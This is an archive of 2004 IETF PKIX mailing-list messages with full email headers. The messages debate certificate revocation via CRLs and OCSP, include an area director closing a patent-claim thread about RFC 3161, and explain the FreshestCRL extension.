Re: Current status of CRL validation ?

[Ed Gerck <[e-mail]>]

Eric Norman wrote:
> 
> On Tue, 30 Mar 2004, Ed Gerck wrote:
> 
> > Moreover, PKIX/X.509 revocation is a "will" to revoke but not an actual
> > revocation. Few recognize, as you have now hit, that cert revocation
> > in PKIX/X.509 is a solution to a non-existent problem ... while the real
> > problem is left utterly unsolved.
> 
> As far as this reader knows, the real problem is also unstated.  Might I
> be reminded about just what the "real problem" is?

The real problem is to make the cert unusable when revoked. For that,
one should also not need to rely on any third-party or users. In particular, 
I believe that trusting user intervention (even to update software) is a 
very weak assumption.

It's apparent in this thread that revoking by reference (the current
method with CRLs and OCSPs) has some unsolved and unsolvable problems.
To consider them a "feature" is the first stage of problem solving.
My comments on this, practically the same since '97, is that we should 
move to the second stage.

Cheers,
Ed Gerck




Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i310RGDn047343; Wed, 31 Mar 2004 16:27:16 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i310RGjH047342; Wed, 31 Mar 2004 16:27:16 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail11.atl.registeredsite.com ([e-mail] [64.224.219.85]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i310RFW9047336 for <[e-mail]>; Wed, 31 Mar 2004 16:27:15 -0800 (PST) (envelope-from [e-mail])
Received: from taurus.hosting4u.net (taurus.hosting4u.net [209.35.191.122]) by mail11.atl.registeredsite.com (8.12.8/8.12.8) with ESMTP id i310RJLQ011123; Wed, 31 Mar 2004 19:27:19 -0500
Received: from nma.com ([63.204.17.85]) by taurus.hosting4u.net ; Wed, 31 Mar 2004 18:27:17 -0600
Message-ID: <[e-mail]>
Date: Wed, 31 Mar 2004 16:27:08 -0800
From: Ed Gerck <[e-mail]>
X-Mailer: Mozilla 4.79 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Eric Norman <[e-mail]>
CC: PKIX list <[e-mail]>
Subject: Re: Current status of CRL validation ?
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Eric Norman wrote:
> 
> On Tue, 30 Mar 2004, Ed Gerck wrote:
> 
> > Moreover, PKIX/X.509 revocation is a "will" to revoke but not an actual
> > revocation. Few recognize, as you have now hit, that cert revocation
> > in PKIX/X.509 is a solution to a non-existent problem ... while the real
> > problem is left utterly unsolved.
> 
> As far as this reader knows, the real problem is also unstated.  Might I
> be reminded about just what the "real problem" is?

The real problem is to make the cert unusable when revoked. For that,
one should also not need to rely on any third-party or users. In particular, 
I believe that trusting user intervention (even to update software) is a 
very weak assumption.

It's apparent in this thread that revoking by reference (the current
method with CRLs and OCSPs) has some unsolved and unsolvable problems.
To consider them a "feature" is the first stage of problem solving.
My comments on this, practically the same since '97, is that we should 
move to the second stage.

Cheers,
Ed Gerck



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VLskOV037770; Wed, 31 Mar 2004 13:54:46 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2VLskN1037769; Wed, 31 Mar 2004 13:54:46 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VLsk9O037718 for <[e-mail]>; Wed, 31 Mar 2004 13:54:46 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i2VLsj7X027695; Wed, 31 Mar 2004 16:54:45 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020408bc90bbc275a7@[128.89.89.75]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>		 <004f01c410dc$2c0681d0$[e-mail]>		 <[e-mail]>	 <p06020406bc861b0a4627@[128.33.244.157]> <[e-mail]> <p06020401bc909a0b8ec1@[128.89.89.75]> <[e-mail]>
Date: Wed, 31 Mar 2004 16:53:55 -0500
To: Ed Gerck <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Current status of CRL validation ?
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Ed,

I really should have asked the context in which you were referring to 
an RP's reliance on revocation status info. If the RP is validating a 
signature for NR purposes, then the RP is nominally protected if he 
waits until the "next" CRL is issued before he acts on the signed 
object. The CRL issuer is the only game in town re authoritative info 
on the revocation status of a cert. AN RP is, by definition, a 
"relying" party and he relies on the cert and CRL issuer(s) to 
provide this status data when they have said it becomes available. if 
the RP cannot tolerate the wait, tough luck. I don't think we need to 
be fancy about this, e.g., "confidence limits."

If the RP is using a signature in an access control context, then the 
problem is often different. For access control purposes, one usually 
will not have the luxury of waiting for the next CRL to determine 
revocation status, and even use of OCSP may not help, as many OCSP 
servers are driven by CRLs. But, this is not an X.509 problem per se. 
If the operator of an access control systems wants to ensure that a 
user's privileges are revoked quickly, then the best way to do that 
is to change the ACLs associated with the resources being protected, 
or to push a hot list to each resource access manager. When certs are 
used to verify identity in support of access control, these general 
rules apply, and they are not fundamentally different than if one had 
chosen to use passwords for user authentication.

	<SNIP>

>We have struggled with this passage before. Thanks for helping me
>clarify it now. In short, I mean that revocation by reference (i.e., a
>X.509 reference that X is revoked) does not revoke anything. Actual
>revocation, OTOH, would make it impossible to use the cert -- even if
>a reference about its revocation is not available.

One cannot, in general, make "it impossible to use the cert" but one 
can make a cert unusable in a given context. But that is not 
surprising. In many systems with capability-like properties, 
revocation effected by seizing an access token is often infeasible. 
If I have a keyed padlock on a locker, I can change the lock to 
effect revocation of access privileges for the holders of keys, and 
reissue new keys for the new lock to the folks I want to authorize. 
Do I know that the keys that are out there will not be able to open 
any other padlocks? Not really/ There may have been another padlock 
that would accept the same keys and I don't now, nor can I prevent 
the use of the keys in that padlock.

So, I'm afraid I don't find your clarification helpful. Maybe we're 
still just missing a concisely stated context for the comment.

Steve



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VInvKU023237; Wed, 31 Mar 2004 10:49:57 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2VInvIS023236; Wed, 31 Mar 2004 10:49:57 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from woodstock.binhost.com (woodstock.binhost.com [144.202.240.3]) by above.proper.com (8.12.11/8.12.8) with SMTP id i2VInubd023229 for <[e-mail]>; Wed, 31 Mar 2004 10:49:56 -0800 (PST) (envelope-from [e-mail])
Received: (qmail 25965 invoked by uid 0); 31 Mar 2004 18:39:18 -0000
Received: from unknown (HELO Russ-Laptop.vigilsec.com) (206.117.31.141) by woodstock.binhost.com with SMTP; 31 Mar 2004 18:39:18 -0000
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9
Date: Tue, 30 Mar 2004 21:44:24 -0500
To: "todd glassey" <[e-mail]>
From: Russ Housley <[e-mail]>
Subject: Re: Legal Notice on RFC3161 Uses and  their possible infringement against Glassey/Mcneil  Patents(et al).
Cc: [e-mail], [e-mail]
In-Reply-To: <032e01c412b0$f3527cf0$010aff0a@gw>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Todd:

I am sorry to see the significant amount of message traffic that your 
message has generated.  I appreciate that you have made the community aware 
of this potential concern, and I appreciate that you did not ask for a 
discussion.  Unfortunately, a discussion has resulted.  I want to remind 
you and the other PKIX mail list members about the IETF IPR policy.

       The IETF takes no position regarding the validity or scope of any
       Intellectual Property Rights or other rights that might be claimed
       to pertain to the implementation or use of the technology
       described in this document.

Further, I strongly encourage you to update your IPR statement regarding 
your patent.  RFC 3668 provide guidance in this area.  Based on my review 
of the messages posted to the PKIX mailing list as part of this discussion, 
I believe that you have provided significant details in your follow-on 
messages that do not appear in your IPR statement.

Remember that individual implementors have to make up their own minds on 
the applicability of your patent.  Any legal proceedings that result from 
these decisions are not appropriate discussion topics for the PKIX mail 
list.  Similarly, continuation of this discussion is inappropriate.  RFC 
3161 is finished.  The only on-going work by the PKIX working group  that I 
am aware of regarding RFC 3161 is an interoperability report to demonstrate 
that the document is ready to progress to Draft Standard.  I encourage the 
PKIX mailing list members to focus on this task.  Any further discussion of 
this patent on the PKIX mail list is out of scope.

This thread is now closed.

Russ Housley
Security Area Director



At 01:28 PM 3/25/2004 -0800, todd glassey wrote:
>Lets talk about legal stuff for a minute... and I don't really need anyone
>to respond to this unless they want to do so with my lawyers.
>
>---------------------------------------------------
>
>Be advised that I am claiming there is an unauthorized identified use of
>RFC3161 that appears to violate parts of the Glassey/McNeil Timestamping
>patent ("Controlling Access to Stored Information" - US 6370629 and EP
>0997808, et al).  As such, I am formally putting the IETF/IESG on notice
>thereof.
>
>Further, these same uses may also violate any number of other "Receipt"
>patents issued (including, but not limited to, the original Fisher and Haber
>patents; those of others in the Time Management and in the XML
>Receipt Business), as well as other patents still in the works.
>
>In light of this notification, please be aware that it is the responsibility
>of the developers to do proper diligence prior to releasing commercial or
>free services using RFC3161 as its base.
>
>Be advised that we are currently very concerned. If any such RFC3161
>application is used for evidentiary purposes or if it is used to enable
>control of any access to any data, or data in any record structure,
>such use may be in violation of these globally issued patents.
>
>Obviously, in instances where such violation is evident, we will take swift
>legal steps to protect our patent(s) while preventing any further
>unauthorized use. This would include any violations and damages resulting
>from all those responsible, even National Governments using RFC3161 for
>commercial and audit purposes (including the EU and its member States).
>
>Please feel free to have the IETF's or IESG's or any other appropriate
>attorney (or Developers wishing to avoid the legal complications of an
>authorized use) contact me regarding this matter for my point of service so
>appropriate licensing can be arranged to protect these patents against such
>infringement involving those Developer's Application Systems .
>
>Todd Glassey
>Patent Rights Owner and Inventor -US 6370629



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VHrlZE019078; Wed, 31 Mar 2004 09:53:47 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2VHrlOI019077; Wed, 31 Mar 2004 09:53:47 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail15.atl.registeredsite.com ([e-mail] [64.224.219.99]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VHrl6A019071 for <[e-mail]>; Wed, 31 Mar 2004 09:53:47 -0800 (PST) (envelope-from [e-mail])
Received: from taurus.hosting4u.net (taurus.hosting4u.net [209.35.191.122]) by mail15.atl.registeredsite.com (8.12.8/8.12.8) with ESMTP id i2VHrVfM009987; Wed, 31 Mar 2004 12:53:31 -0500
Received: from nma.com ([63.204.17.85]) by taurus.hosting4u.net ; Wed, 31 Mar 2004 11:53:30 -0600
Message-ID: <[e-mail]>
Date: Wed, 31 Mar 2004 09:53:23 -0800
From: Ed Gerck <[e-mail]>
X-Mailer: Mozilla 4.79 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Stephen Kent <[e-mail]>
CC: [e-mail]
Subject: Re: Current status of CRL validation ?
References: <[e-mail]>	 <004f01c410dc$2c0681d0$[e-mail]>	 <[e-mail]> <p06020406bc861b0a4627@[128.33.244.157]> <[e-mail]> <p06020401bc909a0b8ec1@[128.89.89.75]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Stephen Kent wrote:
> 
> At 3:52 PM -0800 3/30/04, Ed Gerck wrote:
> >Julien,
> >
> >Yes, a PKIX cert is either revoked or not. Yes, this is strictly enforceable
> >in X.509 because: (a) a cert has only one issuer and, (b) only that issuer of
> >the cert can revoke the cert. However, X.509 is unable to allow a RP to
> >measure with any desired confidence (i.e., desired by the RP) whether a cert
> >is revoked or not.
> 
> Each CRL issuer sets the time frame for CRL issuance with the Next
> Update value, so it is true that the RP is not capable of deciding
> what level of confidence he wants re revocation status, IF that
> includes a timeliness constraint.

Yes. But IF a timeliness constraint is NOT included, the RP cannot
even assign confidence limits (a statistical measure) to the decision 
wheter the cert is revoked or not. Moreover, I'm not aware of any
limit field stating the maximum time lapse that is warranted between
a revocation communication being received from the subscriber and the 
publication of that information in the CRL. We may hope that anything
received between now and the Next Update value will be published at
that time, but it may not. Clearly, there is a cut-off and it may
involve more than one update cycle. Perhaps you could clarify this.
 
> >This is due to several unsolvable problems in the X.509/PKIX framework [1].
> >For example, there may be a considerable delay (no warranties on the CAs
> >CPSs can be found on upper limits for such delays) between the actual need
> >to revoke a certificate and the reflection of this need in a certificate
> >chain with different CAs. Further, the major X.509 security application
> >today, SSL, still does not check revocation lists or any other revocation
> >mechanisms -- so they are near to useless. Also, the user is not able to
> >check server certificates (and certificates in the CA chains) against
> >revocation lists.
> 
> of course this comment about SSL/TLS is not a critique of X.509 or
> PKIX standards, but rather an observation about implementation
> practice.

First, nothing that I said above is a critique of X.509 or PKIX
standards. We shall not require perfection. That said, even if a SSL
implementation would include CRLs and OCSPs, the other problems 
mentioned above would still exist and prevent that SSL implementation
(no matter how clever) from effectively providing an answer that 
the RP could measure with any desired confidence.

> 
> >Moreover, PKIX/X.509 revocation is a "will" to revoke but not an actual
> >revocation. Few recognize, as you have now hit, that cert revocation
> >in PKIX/X.509 is a solution to a non-existent problem ... while the real
> >problem is left utterly unsolved. The non-existent problem solved by
> >PKIX/X.509 cert revocation is how to communicate that a certificate is no
> >longer valid ... because if a certificate were really no longer valid
> >(as it should be) then no one would need to find the cert revocation to
> >know about it.
> 
> was there some part of the preceding paragraph that was supposed to
> make technical sense?

We have struggled with this passage before. Thanks for helping me
clarify it now. In short, I mean that revocation by reference (i.e., a 
X.509 reference that X is revoked) does not revoke anything. Actual 
revocation, OTOH, would make it impossible to use the cert -- even if 
a reference about its revocation is not available. 

Cheers,
Ed Gerck



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VGuMSe012587; Wed, 31 Mar 2004 08:56:22 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2VGuMra012586; Wed, 31 Mar 2004 08:56:22 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from imap1.doit.wisc.edu (imap1.doit.wisc.edu [144.92.9.75]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VGuLjf012579 for <[e-mail]>; Wed, 31 Mar 2004 08:56:21 -0800 (PST) (envelope-from [e-mail])
Received: from [128.104.19.109] (HELO holstein.doit.wisc.edu) by imap1.doit.wisc.edu (CommuniGate Pro SMTP 3.5.9) with ESMTP-TLS id 37626290 for [e-mail]; Wed, 31 Mar 2004 10:51:04 -0600
Date: Wed, 31 Mar 2004 10:56:23 -0600 (CST)
From: Eric Norman <[e-mail]>
To: PKIX list <[e-mail]>
Subject: Re: Current status of CRL validation ?
In-Reply-To: <[e-mail]>
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

On Tue, 30 Mar 2004, Ed Gerck wrote:

> Moreover, PKIX/X.509 revocation is a "will" to revoke but not an actual
> revocation. Few recognize, as you have now hit, that cert revocation
> in PKIX/X.509 is a solution to a non-existent problem ... while the real
> problem is left utterly unsolved.

As far as this reader knows, the real problem is also unstated.  Might I
be reminded about just what the "real problem" is?


Eric Norman

	"Congress shall make no law restricting the size of integers
	that may be multiplied together, or the number of times that
	an integer may be multiplied by itself, or the modulus by
	which an integer may be reduced".



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VGWKuN010626; Wed, 31 Mar 2004 08:32:20 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2VGWKWi010625; Wed, 31 Mar 2004 08:32:20 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from aragorn.bbn.com (aragorn.bbn.com [128.33.0.62]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VGWJ6W010577 for <[e-mail]>; Wed, 31 Mar 2004 08:32:19 -0800 (PST) (envelope-from [e-mail])
Received: from [128.89.89.75] (dhcp89-089-075.bbn.com [128.89.89.75]) by aragorn.bbn.com (8.12.7/8.12.7) with ESMTP id i2VGWGlc005118; Wed, 31 Mar 2004 11:32:16 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p06020401bc909a0b8ec1@[128.89.89.75]>
In-Reply-To: <[e-mail]>
References: <[e-mail]>	 <004f01c410dc$2c0681d0$[e-mail]>	 <[e-mail]> <p06020406bc861b0a4627@[128.33.244.157]> <[e-mail]>
Date: Wed, 31 Mar 2004 11:00:40 -0500
To: Ed Gerck <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: Re: Current status of CRL validation ?
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

At 3:52 PM -0800 3/30/04, Ed Gerck wrote:
>Julien,
>
>Yes, a PKIX cert is either revoked or not. Yes, this is strictly enforceable
>in X.509 because: (a) a cert has only one issuer and, (b) only that issuer of
>the cert can revoke the cert. However, X.509 is unable to allow a RP to
>measure with any desired confidence (i.e., desired by the RP) whether a cert
>is revoked or not.

Each CRL issuer sets the time frame for CRL issuance with the Next 
Update value, so it is true that the RP is not capable of deciding 
what level of confidence he wants re revocation status, IF that 
includes a timeliness constraint.

>This is due to several unsolvable problems in the X.509/PKIX framework [1].
>For example, there may be a considerable delay (no warranties on the CAs
>CPSs can be found on upper limits for such delays) between the actual need
>to revoke a certificate and the reflection of this need in a certificate
>chain with different CAs. Further, the major X.509 security application
>today, SSL, still does not check revocation lists or any other revocation
>mechanisms -- so they are near to useless. Also, the user is not able to
>check server certificates (and certificates in the CA chains) against
>revocation lists.

of course this comment about SSL/TLS is not a critique of X.509 or 
PKIX standards, but rather an observation about implementation 
practice.

>Moreover, PKIX/X.509 revocation is a "will" to revoke but not an actual
>revocation. Few recognize, as you have now hit, that cert revocation
>in PKIX/X.509 is a solution to a non-existent problem ... while the real
>problem is left utterly unsolved. The non-existent problem solved by
>PKIX/X.509 cert revocation is how to communicate that a certificate is no
>longer valid ... because if a certificate were really no longer valid
>(as it should be) then no one would need to find the cert revocation to
>know about it.

was there some part of the preceding paragraph that was supposed to 
make technical sense?

Steve



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VF7mDX004096; Wed, 31 Mar 2004 07:07:48 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i2VF7m4a004095; Wed, 31 Mar 2004 07:07:48 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.nist.gov (rimp1.nist.gov [129.6.16.226]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i2VF7l1w004089 for <[e-mail]>; Wed, 31 Mar 2004 07:07:47 -0800 (PST) (envelope-from [e-mail])
Received: from postmark.nist.gov (pushme.nist.gov [129.6.16.92]) by smtp.nist.gov (8.12.10/8.12.10) with ESMTP id i2VF7mmV016748; Wed, 31 Mar 2004 10:07:48 -0500
Received: from nist.gov (st26.ncsl.nist.gov [129.6.54.72]) by postmark.nist.gov (8.12.5/8.12.5) with ESMTP id i2VF7NNm014323; Wed, 31 Mar 2004 10:07:26 -0500 (EST)
Message-ID: <[e-mail]>
Date: Wed, 31 Mar 2004 10:08:14 -0500
From: "David A. Cooper" <[e-mail]>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031010
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: [e-mail]
CC: [e-mail]
Subject: Re: Freshest CRL
References: <[e-mail]>
In-Reply-To: <[e-mail]>
Content-Type: multipart/alternative; boundary="------------030307050703050102080604"
X-NIST-MailScanner: Found to be clean
X-MailScanner-From: [e-mail]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a multi-part message in MIME format.
--------------030307050703050102080604
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Shim Heewon wrote:

> Of course, both of them are needed Freshest CRL. (Cert and CRL extension)
>
> 1.       Using Freshest CRL extension on Certificate, you can find 
> exact URI to get exact CRL.
>
> 2.       Using Freshest CRL extension on CRL (matching on Cert), you 
> can determine whether this CRL is the correct one among other delta 
> CRLs or not.
>
>  
>
> Because of replace attack of CRL, you should use this extension on 
> both of them.
>
> This case is very similar to the case of CRL Distribution Point (on 
> Cert) and Issuing Distribution Point (on CRL).
>
Actually, the FreshestCRL extension works the same way as the 
cRLDistrubutionPoints extension.  That is, when the FreshestCRL 
extension appears in a certificate the CRL must have a matching 
issuingDistributionPoint, where the matching is done in the same way as 
if a cRLDistrubutionPoints were being used in the certificate.  RFC 3280 
states that the FreshestCRL extension should only be used to point to 
delta-CRLs, but X.509 does not impose this restriction.  X.509 allows 
the FreshestCRL extension to be used in any way that the 
cRLDistrubutionPoints can be used.

The use of a FreshestCRL extension in a CRL is more tricky, since this 
would seem to involve comparing the FreshestCRL extension in one CRL to 
the issuingDistributionPoint extension in another CRL (presumably a 
corresponding delta-CRL).  The RFC 3280 simplifies this by stating that 
when the FreshestCRL extension appears in a CRL, it should only contain 
the distribution point name, which acts as a pointer to a delta-CRL.  
RFC 3280 further requires that the delta-CRL contain the same 
issuingDistributionPoint field as the corresponding complete for scope 
CRL.  This allows for the FreshestCRL extension in the CRL to only act 
as a pointer since the issuingDistribuionPoint extension in the 
delta-CRL can be compared to the cRLDistributionPoint extension in the 
certificate.

Dave

--------------030307050703050102080604
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
  <title></title>
</head>
<body text="#000000" bgcolor="#ffffff">
Shim Heewon wrote:<br>
<blockquote type="cite"
 cite="[e-mail]">
  <meta content="text/html; " http-equiv="Content-Type">
  <meta content="Microsoft Word 11 (filtered)" name="Generator">
  <style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Dotum;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:"Wingdings 2";
	panose-1:5 2 1 2 1 5 7 7 7 7;}
@font-face
	{font-family:Tahoma;
	panose-1:2 11 6 4 3 5 4 4 2 4;}
@font-face
	{font-family:Gulim;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Batang;
	panose-1:2 3 6 0 0 1 1 1 1 1;}
@font-face
	{font-family:Dotum;
	panose-1:2 11 6 0 0 1 1 1 1 1;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0cm;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
h1
	{margin-top:0cm;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:21.25pt;
	margin-bottom:.0001pt;
	text-align:center;
	text-indent:-21.25pt;
	page-break-after:avoid;
	font-size:16.0pt;
	font-family:Arial;}
h2
	{margin-top:0cm;
	margin-right:11.0pt;
	margin-bottom:0cm;
	margin-left:47.35pt;
	margin-bottom:.0001pt;
	text-indent:-47.35pt;
	page-break-after:avoid;
	font-size:14.0pt;
	font-family:Arial;}
h3
	{margin-top:12.0pt;
	margin-right:0cm;
	margin-bottom:3.0pt;
	margin-left:0cm;
	page-break-after:avoid;
	font-size:13.0pt;
	font-family:Arial;}
h4
	{margin-top:9.05pt;
	margin-right:0cm;
	margin-bottom:0cm;
	margin-left:39.7pt;
	margin-bottom:.0001pt;
	text-align:justify;
	text-justify:inter-ideograph;
	text-indent:-39.7pt;
	page-break-after:avoid;
	punctuation-wrap:simple;
	text-autospace:none;
	font-size:10.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle20
	{font-family:Arial;
	color:windowtext;}
span.EmailStyle22
	{font-family:Gulim;
	color:navy;}
@page Section1
	{size:595.3pt 841.9pt;
	margin:3.0cm 2.0cm 3.0cm 2.0cm;}
div.Section1
	{page:Section1;}
 /* List Definitions */
 ol
	{margin-bottom:0cm;}
ul
	{margin-bottom:0cm;}
-->
  </style>
  <div class="Section1">
  <p class="MsoNormal"><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">Of
course,
both of them are needed Freshest CRL. (Cert and CRL extension)</span></font></p>
  <p style="margin-left: 38pt; text-indent: -18pt;" class="MsoNormal"><font
 face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">1.<font
 face="Times New Roman" size="1"><span
 style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  </span></font></span></font><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">Using
Freshest CRL extension on Certificate, you
can find exact URI to get exact CRL.</span></font></p>
  <p style="margin-left: 38pt; text-indent: -18pt;" class="MsoNormal"><font
 face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">2.<font
 face="Times New Roman" size="1"><span
 style="font-family: &quot;Times New Roman&quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  </span></font></span></font><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">Using
Freshest CRL extension on CRL (matching on
Cert), you can determine whether this CRL is the correct one among
other delta CRLs
or not. </span></font></p>
  <p class="MsoNormal"><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">&nbsp;</span></font></p>
  <p class="MsoNormal"><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">Because
of replace
attack of CRL, you should use this extension on both of them.</span></font></p>
  <p class="MsoNormal"><font face="&#44404;&#47548;" color="navy" size="2"><span
 style="font-size: 10pt; font-family: Gulim; color: navy;" lang="EN-US">This
case is
very similar to the case of CRL Distribution Point (on Cert) and
Issuing
Distribution Point (on CRL).</span></font></p>
  </div>
</blockquote>
Actually, the FreshestCRL extension works the same way as the
cRLDistrubutionPoints extension.&nbsp; That is, when the FreshestCRL
extension appears in a certificate the CRL must have a matching
issuingDistributionPoint, where the matching is done in the same way as
if a cRLDistrubutionPoints were being used in the certificate.&nbsp; RFC
3280 states that the FreshestCRL extension should only be used to point
to delta-CRLs, but X.509 does not impose this restriction.&nbsp; X.509
allows the FreshestCRL extension to be used in any way that the
cRLDistrubutionPoints can be used.<br>
<br>
The use of a FreshestCRL extension in a CRL is more tricky, since this
would seem to involve comparing the FreshestCRL extension in one CRL to
the issuingDistributionPoint extension in another CRL (presumably a
corresponding delta-CRL).&nbsp; The RFC 3280 simplifies this by stating that
